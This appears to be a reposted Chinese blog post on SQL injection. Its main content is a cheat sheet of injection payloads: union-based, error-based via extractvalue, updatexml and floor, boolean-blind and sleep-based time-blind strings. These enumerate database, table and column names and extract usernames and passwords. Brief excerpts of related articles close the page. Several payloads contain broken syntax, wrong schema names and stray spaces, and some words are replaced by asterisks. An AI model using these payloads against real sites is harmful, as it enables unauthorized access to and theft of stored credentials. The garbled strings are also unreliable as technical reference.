sql注入漏洞

2021-10-16 23:11:39 字數 3430 閱讀 6524

sql注入漏洞

漏洞簡介:

程式設計師在編寫**的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。使用者可以提交一段資料庫查詢**,根據程式返回的結果,獲得某些他想得知的資料,這就是所謂的sql injection,即sql注入。

一、聯合查詢注入

order by x 判斷列數

union select 1,2,3 檢視顯示位

爆破資料庫版本,和當前資料庫名稱

union select 1,version(),database() --+

爆破庫名:

union select 1,2,concat(schema_name) from information_schema.schema limit 0,1 --+(乙個)

union select 1,2,group_concat(schema_name) from information_schema.schema --+ (所有)

爆破表名:

union select 1,database(),(select group_concat(table_name) from information_name.tables where table_name=database()) --+

爆破列名:

union select 1,database(),(select group_concat(column_name) from information_schema. tables where tables_schema = database() and table_name = 『users』) --+

爆破資料:

union select 1,(select group_concat(id) from users),(select group_concat(username) fro m users) --+

二、報錯注入

extractvalue():

爆破資料:

extractvalue(1,concat(0x7e,database(),0x7e),3) --+

爆破庫名:

extractvalue(1,concat(0x7e,(select schema_name from information_schema.schema),0x7 e)) --+

爆破表名:

extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where t able_schema = database()),0x7e)) --+

爆破列名:

extractvalue(1,concat(0x7e,(select column_name from information_schema.columns whe re schema_name=database() and table_name=』users』),0x7e),3) --+

爆破資料:

extractvalue(1,concat(0x7e,(select concat(id,0x7e,username,0x7e,password from users)),0 x7e),3) --+

updataxml():

同extractvalue()函式

floor():

and (select 1 from (select count(*),concat((select (select (select distinct 『sqly語句』)) from information_schema.tables),floor(rand(0)*2))x from information_schema.tables group   by x)a) --+

三、布林型注入(boolean-based blind sql injection)

1)判斷長度

1.判斷當前資料庫的長度

and length(database())=8 --+

2.判斷當前資料庫裡有幾張表

and ((select count(*) from information_schema.tables where table_schema = database ())=4) --+

3.判斷每張表的長度

and length((select table_name from information_schema.tables where table_schema=d atabase() limit 0,1))=6 --+

4.判斷某張表的列數

and ((select count(*) from information_schema.columns where table_schema=database () and table_name=(select table_name from information_schema.tables where table_sc hema=database()   limit 3,1))=3) --+

5.判斷某張表裡對應的字段的資料的長度

and length((select username from users where id =1))=4 --+

and length((select password from users where id =1))=4 --+

2)猜測內容

1.猜測當前資料庫的名字:

and ascii(substr((select database()),1) =115 --+

2.猜測某張表的表名:

and ascii(substr((select table_name from information_schema.tables where table_sche ma=database() limit 3,1),5))=115 --+

3.猜測某張表的某個列名:

and ascii(substr((select column_name from information_schema.columns where table_s chema=database() and table_name=(select table_name from information_schema.tables where        table_schema=database() limit 3,1) limit 1,1),8))=101 --+

4.猜測某張表裡列名為username的資料

and ascii(substr((select username from users limit 0,1),1)) = 68 --+

四、延時注入

1.注入點判斷

and sleep(5) --+

2. if(表示式,值1,值2)

可以與盲注結合,形成基於時間的盲注

and if(length(database())=8,sleep(5),1) --+

SQL注入漏洞

sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...

SQL注入漏洞

sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...

sql注入漏洞

什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...